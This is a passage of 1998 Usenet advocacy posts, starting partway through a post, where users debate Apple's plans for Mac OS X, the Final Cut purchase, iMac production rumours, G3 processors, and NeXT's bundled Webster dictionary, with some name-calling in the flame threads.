Organization: BM
Message-ID: <6qlru0$dtu$1@holly.prod.itd.earthlink.net>
References: <35CDF146.289C37E@nowhere.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Some of you may recall Randy Ubillos, the author of Premier 1.0-4.0 who defected
from Adobe to Macromedia to lead the development of a new video editing app
there, first called Key Grip, then Final Cut. Last May, Apple bought Final Cut
from Macromedia and, I believe, Ubillos is now an Apple employee.
The question is why would Apple, which under Jobs has been shedding profitable
apps right and left, buy a yet-to-be-proven app at the risk of alienating two of
its critical ISVs (Adobe and Avid)?
Why would a guy who practically started digital video editing at the PC-level
and who could go anywhere or set up his own company join Apple now?
There was also a recent rumour that Apple might buy GoLive's CyberStudio.
What's up with Apple?
Ziya Oz
From: wmoss@maclink.net (William Moss)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Mon, 10 Aug 1998 01:00:17 -0400
Organization: ISPNews http://ispnews.com
Sender: mac@ip132.atlanta5.ga.pub-ip.psi.net
Message-ID: <wmoss-1008980100170001@ip132.atlanta5.ga.pub-ip.psi.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <28740-35CDF394-52@newsd-122.bryant.webtv.net>
NNTP-Posting-Date: 10 Aug 1998 04:55:23 GMT
In article <28740-35CDF394-52@newsd-122.bryant.webtv.net>,
RasAllGhul@webtv.net (Joshua Moore) wrote:
> I want to cut through the marketing and get some real definition of this
> thing Apple is building.
> A lot of this will be wrong and incomplete because Apple is not
> providing good information.
They are providing a substantial amount of information. I'd suggest
checking out the session notes and Quicktime videos from the World Wide
Developers conference for a pretty clear picture of what Mac OS X will
look like.
> Can you help me refine the list ?
> MacOS-X:
> - Looks just like MacOS-8.x
Mac OS X will be consistent with the version of the Mac OS also known as
Sonata that will debut in the same time frame as Mac OS X. Whether Sonata
is called Mac OS 9, Mac OS 8.9, or Mac OS CE is absolutely undetermined at
this point in time. But the implication is that the interface will
continue to evolve and not simply freeze at the current state of Mac OS
8.6. Enhancements should be expected to be delivered with both Mac OS X
and Sonata.
> - Has resource forks in HFS+ and all related incompatibilities
> - Will use case insensitive file names
Regarding the file system Apple has said that has an enhanced Virtual File
System design (POSIX++, Support for UFS, NFS v3.0, ISO 9660 possible). And
that HFS and HFS+ are being ported to it (aka they weren't there yet at
the WWDC). HFS+ will be the "default" file system, but there is nothing
that implies that it will be the only file system if the user desires.
I am unaware of imcompatabilities caused from a file having resource forks
in a file system that fully supports HFS+. Heck, they've even gone so far
as to have forks be addressable by API or path under non-HFS+ file
systems.
> - Runs YellowBox applications natively
> - Runs Carbon applications natively and older Mac applications in a Blue
> Box without the box
Your phrasing is confusing. The older Mac applications will run in a
cooperatively multitasked, shared memory partition, but if their code is
PowerPC native then they will run "native" as well. If they are revised to
be Carbon compliant they will use fewer system resources, have protected
memory, and be preemptively multitasked. Part of this carbon revision is
that all 680x0 code and resources has to be expurgated. But both revised
and unrevised apps can run "native" though.
> - Uses TrueType fonts
Fonts will be handled by version two of the Open Font Architecture which
will provide extremely flexible font handling for ATSUI and the system
imaging model. Right now only Truetype is supported, but by the time of
release it will support Type 1 Postscript fonts. If developers are
willing, they can write an outline font rasterizer that the user can drag
and drop on the system folder that will enable the use of other vector
formats in the system. Does this mean TeX? Does this mean OpenType? Does
this mean old Quickdraw GX fonts? Yes, if someone writes the plugin.
> - Will initially only run on G3 processors (and possibly not some of
> them - iMac)
Mac OS X Server will run on PCI based PowerMacs and Intel hardware. Mac OS
X will be tested to run on G3 PowerMacs (not upgraded older PowerMacs) but
there is a possibility of it running on machines that OS X Server ran on
but these will not be tested or supported configurations.
> - Will support AppleScript with scriptable applications
Do note that Applescript support is available to both applications with a
blue or yellow box heritage. There is an excellent depiction of the
differences between the Yellow and Blue Box models in the WWDC Session
Notes for session 120 (YellowBox Scriptable Software). Some Yellow box
apps don't even need to be revised to gain scriptability. Apps based on
NSDocument and the Text System for example will get it for free. Also note
that Apple has been rewriting most of the system configuration tools to
support AppleScript which makes it a much more usable OOP language than it
has been.
> - Will have some variant of Mach micro kernel
Mach 3.0 is the version that has been announced for Mac OS X.
> - Will use QuickDraw Enhanced as its only supported graphics API
> - Will not have built in Display Postscript
Adobe has done away with Display Postscript as an option for anyone.
Fortunately for Apple they have realized that their own "imaging"
replacements of Quickdraw and Quickdraw GX are insufficient as they stand.
They are working on a new imaging model that combines these three
environments and uses proposed ANSI standard PDF/X as its file format.
While this is the only graphics library supported now, it does lay down a
flexible groundwork for future support of PGML, Java 2D and others.
At the Quickdraw API level very little has changed
At the YellowBox AppKit level very little has changed.
Though it is true that they are losing the Postscript language, Direct EPS
preview, Client/Server NSHosting (out of the box), they keep the imaging
model, device independence, and high fidelity between screen and page. In
addition they stand to gain features including Direct PDF generation in
AppKit, smaller footprint, increased performance and control.
> - Will have QuickTime
And the whole Quicktime family (3D, VR, file formats, etc).
> - Will have a "Finder" based on Carbon APIs
There is no indication that the Finder will be based on Carbon. It will
almost certainly look like a blue box derived Finder, but considering that
the current Rhapsody finder was implemented without Carbon APIs it's
certainly possible that it will not be Carbon based.
> - Will only use bitmap previews of EPS files
True, because the system will not have the ability to rasterize the EPS
file "on the fly" it will be necessary to use the distilled version of the
image on screen. That's not to imply that the underlying image model for
Enhanced Quickdraw is bitmapped; its most definitely vector oriented. Just
be sure to get the application writers to distill a PDF/X preview.
> - Will not support remote device independent vector graphics
Well that depends on what "remote devices" you are talking about. If you
are referring to NSHosting to client computers then you are correct. But
if you are talking about remote printing then you are not. In fact because
the images are not interpreted by a Postscript engine there's actually
more device independence for vector graphics. That's partially why the
"PDF Workflow" has taken off in the Prepress industry.
> - Will not provide standard unix utilities out of the box
> - Will not support UFS or NFS out of the box
> - Will not support UNIX services such as cron, autonfsmountd, lpd,
> telnetd, nfsd, inetd, lookupd, ypbind, syslogd, etc.
> - Will have no built in remote administration other than Netinfo
> - Will not have standard configuration via rc scripts
> - Will not support telnet or other shell environments out of the box
> - Will not have ubiquitous NeXT services, Terminal services, Open
> Sesame, TeXview, etc.
> - Will not have X-Windows support out of the box
> - Will not have man pages
The core OS architecture is based on POSIX & BSD to provide "OS
Personality" APIs and Services for the file system, networking, and a
basic security policy. (This is a layer that sits above the Mach 3.0
kernal and the I/O kit).
BSD 4.4 will be present but its visibility will be "reduced". Apple has
said emphaticaly that their concern is for the novice user. These tools
will not be installed as the default environment but they will be
available in an optional environment available to Power Users and
developers. My interpretation of this is that the install CD will have an
"Easy Install" as the default that does not have these tools. If you want
more features you pop-down the menu to choose "Custom Install". From their
description it does not sound like you will have to buy an extra product
or deluxe edition to get these features, but you have to know you want
them to get them.
> - Will have sockets API support but not STREAMS
Sockets will be present, and support for applications written for Streams
is being worked on. There is talk of offering
> - Will have Microsoft Internet Explorer
> - Will have pre-press Color support but NOT PANTONE
> - Will require disk de-fragmentation tools
> - Will not have Digital Librarian
> - Will not have Digital Webster
> - Will not have TeX
All of these are related to licensing agreements and whether it is of
value to the customer base. I suspect that some of these things may be
included and some may not be, but none of these are inherently unworkable
in the new OS. Even if some of these were determined to be necessitous,
it's still a long time away from OS X so its unlikely that Apple will
finalize them until closer to customer release.
> - Will not have a Dock or a Shelf
Apple hasn't said anything explicitly about this, but a number of rumors
sites have posted documents describing a "Desktop Tray". In fact Apple
recently acquired a software patent on it so it would be very likely that
this may be implemented in the Sonata/Mac OS X time frame. Think of it as
a pop-out window (that can be placed on any side of the screen but the
top). When it pops out it is in the top layer above icons or windows. On
it are icons for media or processes. In my opinion this sounds much like a
fusion of the Windows task bar and the NeXT dock, but I could be
completely wrong about this and because this is "only a rumor" it may
never come to pass.
> - Will not support ubiquitous text services (Due to Carbon applications
> not using Text objects)
> - Will not support ubiquitous spell checking and other text services
If you are referring to low level text services such as Unicode drawing,
character set conversion, multi-lingual and advanced typography, block
level layout, these will be arriving soon in the form of ATSUI.
If you are referring to non-standard input methods, interactive spell
checking, word completion will be heavilly improved in version 1.5 of Text
Services Manager.
If you are referring to multi-language sorting, formatting, and language
analysis these will be delivered in the unspecified future but possibly by
the Carbon time frame.
If you are referring to interapplication communication and sharing of text
there are standards on the Mac and NeXT technologies, but I've not heard
specifically how these will be suported.
> - Will not support multiple paste-boards
This is an interface issue rather than an implementation one. With the
advent of "clippings" Apple has largely eliminated the need for the hidden
clipboard metaphor. Right now users can drag their data to the Finder to
turn it into a clipping. This is primitive and Apple is refining this, but
a multiple clipboard interface could be implemented with a pop-up tray or
window that contained items cut, copied or dragged to the tray. Again it's
only speculation on my part but it is not a fundamental problem.
> - Will not support ubiquitous drag and drop between Carbon Apps and
> YellowBox Apps
I am unaware of this issue.
> - Will not have an OO API for Quicktime other than the Java API
Hypercard is an object oriented language that supports Quicktime today (in
some ways more flexibly than the C interfaces). In fact Hypercard is
planned to be integrated into Quicktime to make Quicktime itself an object
oriented language (and take Hypercard cross platform).
On the Yellow side of the house, it has been stated NSImage and Quicktime
are fairly entertwined in the new Quickdraw Enhanced imaging model. I am
not familiar with the published Yellow APIs (though I am trying to be) but
I would assume that Quicktime will be accessible via the finalized APIs if
they aren't yet.
> - Will not have a standard 3D kit
From what has been stated Quickdraw 3D will be available at the OS level
(if you mean standard across the OS). If you mean standard as in "industry
standard" the availability of OpenGL or other library is a licensing
issue.
> - Will not have FAT binaries (Will not support more than one CPU
> architecture)
Obese binaries can be implemented via forks under the Virtual File System
for file systems that have a plug-in. Under BSD one can get access to
different forks via pathname as well as through an API call. What has been
known as "Fat binaries" in the Mac OS world of hybrid 680x0 code and
PowerPC code can still coexist just as easilly as hybrid binaries with
Java bytecode or Intel code.
> - Will not have Intel version
But will offer YellowBox APIs on Intel.
> - Will not have cross-compilation (Will not support more than one CPU
> architecture)
Hmm. That seems unlikely because Mac OS and yellowBox are capable of
running cross-platform if desired.
> - Will not be POSIX certified (but may support many of the APIs)
Mac OS X will be POSIX compliant and will be POSIX certified if there is a
strong customer demand for it.
> - Will not have MAC Inits
Officially inits went away when Apple rechristened them "extensions". But
inits are being replaced by a variety of plug in architectures throughout
the Operating System: the I/O kit, the virtual file system, the networking
architecture, the vector font renderers, the security architecture and
many other officially supported ways to override or enhance built in
functionality will put an end to the crazy non-standard ways of hacking on
to the Operating System.
> - Will not have patched trap tables
> - Will not change display resolution without reboot
I am unaware of this. Though it may not be in the developer releases I
think its a safe assumption that color switching and depth switching will
be possible without a restart. Where have you heard otherwise?
> - Will support multiple monitors with multiple graphics cards
> - Will not support high color fidelity dithering in low color modes
Quickdraw Enhanced will support 64 bit pixels (higher than the 32 bits
supported today). Dithering to lower color modes will be a necessity. What
you consider to be "high fidelity" and "low color" are subjective. Apple
is still improving dithering and antialiasing algorithms in the current
Mac OS. You should expect better than what you're getting today.
> - Will not have standard GNU utilities out of the box (gnutar, gzip,...)
> What have I forgotten ?
> Will MacOS-X contain a single line of code from Openstep outside the
> YellowBox ? MacOS-X will have a new kernel, new file system, new
> graphics system, no command line utilities,...
There still seems to be quite a bit of NeXT derived technology that will
be in the OS. It seems that Apple is going to great lengths to make the
transition easy for Mac OS developers and users. Most of the new or
enhanced technologies are spoken of as an "improved Blue Box technology"
but this seems to be more for their comfort in the new OS. Moving Mac
users to Unix is not trivial; Apple's tried and failed before with A/UX
and A/IX.
William
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 10 Aug 1998 05:04:50 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qlv1i$el2$2@lwnws01.ne.highway1.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0708980530380001@207-172-128-210.s210.tnt1.col.erols.com>
NOamradioSPAM@thebizlink.com (Steve) wrote:
> It is clear your argument has no validity when you resort to name calling.
You've completely missed the argument.
> I used the NH stereotype example to illustrate a point not as a personal
> attack. Maybe it really is true.
Man, you are daft. Even after the last response it's not clear to you.
First, maybe the NH thing is true for all I know. The point I tried to make
is that usenet/computer jock people have a stereo type of being snipey,
smartass jerks, that need to get in the last word. So I cursed you out, and
I think you responed (I think it was you, maybe it was someone else, I don't
remember at this point) with a snipey smart ass post; i.e. living right up to
the stereotype. The point being, your earlier position was brain dead
because it amounts to saying that no stereotypes ever have any validity to
them. That is a dumb ass politically correct position to take. Plenty of
stereotypes are valid (and conversly, plenty are not). Your original
position was trite and PC at best. I would have thought that my last post
made it clear through example just how stereotypical many people behave.
Ergo, if there is a stereotype that the mac bombs more than other systems, it
may well be more significant than mere anecdote.
I've spelled this out as basically as I could. If you don't understand it,
it's not my job to make you comprehend.
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: tas@mindspring.noUCE.com (Timothy A. Seufert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.powerpc.misc,comp.sys.powerpc.advocacy
Subject: Re: G3's and G4's and SOI (Was Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 09 Aug 1998 22:30:09 -0700
Organization: Evil Geniuses For A Better Tomorrow, Inc.
Message-ID: <tas-0908982230090001@user-38ld63h.dialup.mindspring.com>
References: <35ca9f4c.0@news.depaul.edu> <B1F0B83F-459BF@206.165.43.185>
In article <B1F0B83F-459BF@206.165.43.185>, "Lawson English"
<english@primenet.com> wrote:
>I haven't heard of one. This is really a topic for
>comp.sys.powerpc.misc/advocacy, so I'm crossposting to those groups.
>
>Has anyone heard of G3 series CPUs using a 604-like (multiple integer
>units) core?
The current 750 does have multiple integer units, two of them. The 604e
has three, but it's not a big advantage in practice.
--
-- Tim
To mail me unsolicited advertisements: Move to Siberia. Wait until I
say it's OK to send. Everybody else, remove "noUCE." from my address.
From: Thor Wiegman <thorw@sierra.net>
Newsgroups: uk.comp.os.linux,alt.os.linux.caldera,comp.os.linux.advocacy,comp.os.linux.misc,comp.unix.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UNIX is UNIX is UNIX!!! (was Re: Weakly speaking, Linux is NT)
Date: Sun, 09 Aug 1998 22:25:58 -0700
Organization: Sierra-Net
Message-ID: <35CE8466.D59E8874@sierra.net>
References: <EI5KLG.J58@mamia.opsys.com> <6271hd$o4f@nntp02.primenet.com> <627sfb$mka$1@news.platinum.com> <628ajo$d49@nntp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Stoney Edwards wrote:
>
>
> Me and my associates call SCO UNIX "a shitty 'NT'". :)
> --
>
Oh come on!!!!! That's not even fair! I realize that NT sucks but
it's not THAT bad!!!!
HAAHAHAHAHAHAHAHAHAAH
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <713121066696.5208572411@flash.net>
Control: cancel <713121066696.5208572411@flash.net>
Date: 10 Aug 1998 05:36:29 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.713121066696.5208572411@flash.net>
Sender: tsaw@flash.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: Mon, 10 Aug 1998 00:49:18 -0600
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-1008980049190001@digital-00-40.hou.neoworld.net>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net> <NeedALight?-0908981728370001@153.oakland-01.ca.dial-access.att.net>
In article
<NeedALight?-0908981728370001@153.oakland-01.ca.dial-access.att.net>,
NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> In article
<TheLidlessEyeTh-0908981619300001@digital-00-09.hou.neoworld.net>,
TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
>
> > In article
> > <NeedALight?-0808981054420001@240.oakland-01.ca.dial-access.att.net>,
> > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> >
> > > In article
> > <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net>,
> > macghod@concentric.net (Steve Sullivan) wrote:
> > >
> > > > In article
> > > > <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net>,
> > > > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> > > >
> > > > > > MacOS Rumors is reporting 350,000 iMac preorders. Pretty impressive.
> > > > > >
> > > > > > Not to mention the opportunities to "sell up". The iMac is going
> > to bring
> > > > > > a lot of people into the store. Some of them will probably
walk out with
> > > > > > PowerMacs--particularly if the iMac is in short supply.
> > > > > >
> > > > > > Looks like they're off to a great start.
> > > > >
> > > > > Robert Cringely is reporting that they've built 5,000, to date,
with an
> > > > 11% defect rate. Once again, it would appear, Apple has snatched defeat
> > > > from the jaws of victory...
> > > > > --
> > > >
> > > > I hope he is wrong.... THeir is about a week left, lets assume
they build
> > > > 5000 a day every day for a while. This number may seem high given
what he
> > > > is reporting, but factor in a huge increase due to what measures
> > > > macorumors reports (working all night, highering more people, etc etc)
> > > >
> > > > So by the 15th, thats 40k machines. Add 10 k since the report is
probably
> > > > at least a couple of days. 1 week after its introduced, that
would be 75k
> > > > machines made, lets factor in a error margin and bump it up to 100k non
> > > > defective machines made the 1 week after. Lets also assume that all the
> > > > machines first go to people who have preorders.
> > > >
> > > > So 1 week after the imac is available 2/3rds of those who put up money
> > > > ahead of time still dont have a imac. Isnt this a BAD THING ?
> > > >
> > > > FInancially (if you only consider the short term) its no big deal,
I mean
> > > > they are selling everything they can make. But it seems like very very
> > > > bad pr.
> > > >
> > > > But, I didnt emphasize this enough... Who the hell is Robert Cringely
> > anyways?
> > > > Take back anything bad I may have insinuated about apple in this post.
> > > > *IF* this RObert Cringely were correct, what I said was true. But
I find
> > > > it VERY VERY VERY dubious of a claim that apple has only built
5000 imacs
> > > > so far.
> > >
> > > With an 11% failure rate,it's easy to understand why Apple is proceeding
> > cautiously. Would you like to be one of the better than 1 in 10 who takes
> > possession only to have to return it? Returns of that magnitude would kill
> > Apple with expense *and* bad press.
> >
> > Whoa! Slow down, troll!
> > You still need to provide some factual basis for this "11% failure rate."
> > Until you can come up with something that corroborates Cringely's
> > blathering, you're
> > still fullOshit, as usual.
>
> Why? We were clearly involved in conjecture over why Cringely would
claim only 5,000 iMacs had been produced. You do understand what
conjecture is, don't you?
> Perhaps not...
Seems you've all but sounded the deathknell for iMac here.
Somebody's getting a little carried away with rumor-mongering.
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
-Tom Vilot (tjv at indra dot com)
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: Mon, 10 Aug 1998 00:55:36 -0600
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-1008980055360001@digital-00-40.hou.neoworld.net>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <joe.ragosta-0808980914350001@elk50.dol.net> <NeedALight?-0808981101420001@240.oakland-01.ca.dial-access.att.net> <TheLidlessEyeTh-0908981624200001@digital-00-09.hou.neoworld.net> <NeedALight?-0908981717140001@153.oakland-01.ca.dial-access.att.net>
In article
<NeedALight?-0908981717140001@153.oakland-01.ca.dial-access.att.net>,
NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> In article
<TheLidlessEyeTh-0908981624200001@digital-00-09.hou.neoworld.net>,
TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet) wrote:
>
> > In article
> > <NeedALight?-0808981101420001@240.oakland-01.ca.dial-access.att.net>,
> > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> >
> > > In article <joe.ragosta-0808980914350001@elk50.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > >
> > > > In article
<macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net>,
> > > > macghod@concentric.net (Steve Sullivan) wrote:
> > > >
> > > > > In article
> > > > > <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net>,
> > > > > NeedALight?@NOT.netcom.com (Goin' Nova) wrote:
> > > > >
> > > > > > > MacOS Rumors is reporting 350,000 iMac preorders. Pretty
impressive.
> > > > > > >
> > > > > > > Not to mention the opportunities to "sell up". The iMac is going
> > to bring
> > > > > > > a lot of people into the store. Some of them will probably walk
> > out with
> > > > > > > PowerMacs--particularly if the iMac is in short supply.
> > > > > > >
> > > > > > > Looks like they're off to a great start.
> > > > > >
> > > > > > Robert Cringely is reporting that they've built 5,000, to
date, with an
> > > > > 11% defect rate. Once again, it would appear, Apple has snatched
defeat
> > > > > from the jaws of victory...
> > > > > > --
> > > > >
> > > > > I hope he is wrong.... THeir is about a week left, lets assume
they build
> > > > > 5000 a day every day for a while. This number may seem high
given what he
> > > > > is reporting, but factor in a huge increase due to what measures
> > > > > macorumors reports (working all night, highering more people, etc etc)
> > > > >
> > > > > So by the 15th, thats 40k machines. Add 10 k since the report
is probably
> > > > > at least a couple of days. 1 week after its introduced, that
would be 75k
> > > > > machines made, lets factor in a error margin and bump it up to
100k non
> > > > > defective machines made the 1 week after. Lets also assume that
all the
> > > > > machines first go to people who have preorders.
> > > > >
> > > > > So 1 week after the imac is available 2/3rds of those who put up money
> > > > > ahead of time still dont have a imac. Isnt this a BAD THING ?
> > > > >
> > > > > FInancially (if you only consider the short term) its no big
deal, I mean
> > > > > they are selling everything they can make. But it seems like
very very
> > > > > bad pr.
> > > > >
> > > > > But, I didnt emphasize this enough... Who the hell is Robert Cringely
> > > > anyways?
> > > > > Take back anything bad I may have insinuated about apple in this
post.
> > > > > *IF* this RObert Cringely were correct, what I said was true.
But I find
> > > > > it VERY VERY VERY dubious of a claim that apple has only built
5000 imacs
> > > > > so far.
> > > >
> > > > It's called "lead time". He probably wrote his article a month ago. Even
> > > > then, it's generally not good practice to consider unnamed inside
sources
> > > > as reliable.
> > >
> > > I suggest you read it for clarity. In it you will find the following:
> > >
> > > "They plan to have at least the first 30,000 of these machines in stores
> > by next Friday. That, I doubt. As of last week, only about 5,000 iMacs had
> > been produced."
> > >
> > > The point of reference is clear, "as of last week" refers to some day
> > within the week ending 8/1.
> >
> > It's interesting, but unsubstantiated.
>
> Indeed, Joe's suppostion that the article was a month old was
interesting and unsubstantiated. Thanks for taking the time to point it
out. <snicker
You know damned well what I mean.
Nice dodge, though.
>
>
> > Where did he get the information that only 5000 machines had been produced?
>
> Tell you what, you take it up wth Cringely.
Cringely's a boob.
>
> > Ever stopped to think that Cringely's been supplied with disinformation?
>
> Indeed I have. Which is why I've made sure to reflect that the
information comes from him.
Sure as hell seems like you're pretty impressed with his take on the iMac
situation.
Enough to bring it up here, wouldn't you say?
Tell me I'm wrong.
(This is gonna be good).
>
> > Guess you were too busy rubbing your hands with glee at the prospect of
> > being able to
> > dash off FUD like this in your favorite newsgroup, eh?
>
> Wouldn't be the first (nor the last) time you were wrong. I read the
article in one of the "standard" Mac newsgroups, "MacSurfer's Headline
news. If they thought it was worth having a link to, why would it not be
worth bringing up here?
If you've bookmarked the MacSurfer site, then you'd know that they
frequently link to all kinds of rabid anti-Mac
bullshit that makes the press. They just don't bother to qualify it for
the reader, like Feeding Frenzy or some of the
Mac advocacy watchdog sites do.
Nice try, though.
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
-Tom Vilot (tjv at indra dot com)
Message-ID: <35CE8F28.26455E3F@bigfoot.com>
From: "Anthony D. Saxton" <lna@bigfoot.com>
Organization: LnA Concepts
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.powerpc.misc,comp.sys.powerpc.advocacy
Subject: Re: G3's and G4's and SOI (Was Re: OS X: Installed base of only
750,000 G3 systems?
References: <35ca9f4c.0@news.depaul.edu> <B1F0B83F-459BF@206.165.43.185>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Date: Mon, 10 Aug 1998 06:11:56 GMT
NNTP-Posting-Date: Mon, 10 Aug 1998 00:11:56 MDT
> Has anyone heard of G3 series CPUs using a 604-like (multiple integer
> units) core?
>
Yes. It's is called the 760, otherwise know as Mach 5. While it's not
normally called a "G3" is a member of the 3rd generation devices. It
does not, though, support the backside caching.
As I understand it, there will not be a 604 based backside cache G3.
They were working on one, but the success of the 603 based version and
the progress of the new G4 devices proved that it wasn't needed.
Tony
From: none@nobody.com (no one)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Sat, 08 Aug 1998 18:49:58 -0400
Organization: none
Message-ID: <none-0808981849590001@hmatt.clark.net>
References: <trmp-0808980049440001@ptp28.sopris.net> <1998080817265500.NAA02007@ladder03.news.aol.com> <35cc94ae.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <35cc94ae.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> A Mac with
> net access has far, far more online reference material available
> than a NeXT box. There's a free Webster on the net.
I use this a lot...which is just why I wish I had a built in dictionary.
Launching a web browser can be quite a time consuming process on a mac.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Message-ID: <1998081002360600.WAA23106@ladder03.news.aol.com>
Date: 10 Aug 1998 02:36:06 GMT
Organization: AOL http://www.aol.com
References: <35CE3EB5.D870B739@ericsson.com>
>I am totally confused. Which is more accessible, a NeXTstep machine
>running Webster's, or the Internet? Where I work and live, it's the
>Internet.
::sigh::
And where I sit, my NeXT is far more accessible.
Naturally, it goes without saying, or should that a locally loaded software
package, a la Webster's or the Writer's Toolkit for Windows will be more
accessible/quicker to access than even a CD-ROM like M$ Bookshelf, let alone
some distant internet site.
I want my reference materials loaded locally so that I don't have to worry
about whether or not the local ISP's NT server is blue-screened or no, whether
or not there are enough telephone circuits available for me to make a call
(there weren't last Thursday evening for several hours), or if there's some
major TV event blacking out cable access, or a cel tower too far away to be
used, or whether or not a satellite is visible over the horizon when I'm
backpacking with whatever system eventually replaces my Newton.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: none@nobody.com (no one)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Sat, 08 Aug 1998 18:58:42 -0400
Organization: none
Message-ID: <none-0808981858430001@hmatt.clark.net>
References: <trmp-0808980049440001@ptp28.sopris.net> <1998080817265500.NAA02007@ladder03.news.aol.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <1998080817265500.NAA02007@ladder03.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
> In response to David Evenson, I write:
>
> I don't have access to the Rhapsody Developer Releases, and am basing my
> statements on what I've read here, on Apple's web site and on Stepwise.
>
> >DR2 has tear-off menus. You can
> >do this with the main menu if you like.
>
> I'm glad to hear that. Does the main menu then go away or does one then
have to
> waste screen space on a second, duplicated menu?
>
> How are keyboard shortcuts indicated in the menu? Do they use Mac style
> all-caps with <SHIFT> indicated as an additional key or NeXT style lowercase,
> with uppercase to indicate shift?
I'm no expert, but I think Apple is going to make the UI as close to the
mac as possible, which is quite disappointing in some ways.
> >There will be no Dock, however you can easily tear off the application
> >menu and use that as a sort of process menu
>
> So, the method used to switch to an app will be different from that used to
> launch it. I find this inconsistent.
>
> Do they still use the ugly, greyed out icon to indicate that an application is
> running? This necessitates having the icon labeled, so that one can tell which
> icon it is.
The greyed out icon is a little ugly, I agree, but every icon should be
labelled. Otherwise, if you're new to the system you have no idea what
does what. It's good design to stick a label on things...
> I find it easier to double-click on the same icon I used to launch an app in
> the first place.
>
> >DR2 offers Iconization of documents as a preference.
>
> Glad to hear it.
>
> >No, no Websters.
>
> and presumably no Oxford's or TeX either. What was that quote in the
preface to
> Digital Webster's? Something to the effect that in the future all computers
> which did not include built-in dictionaries would be considered barbaric?
>
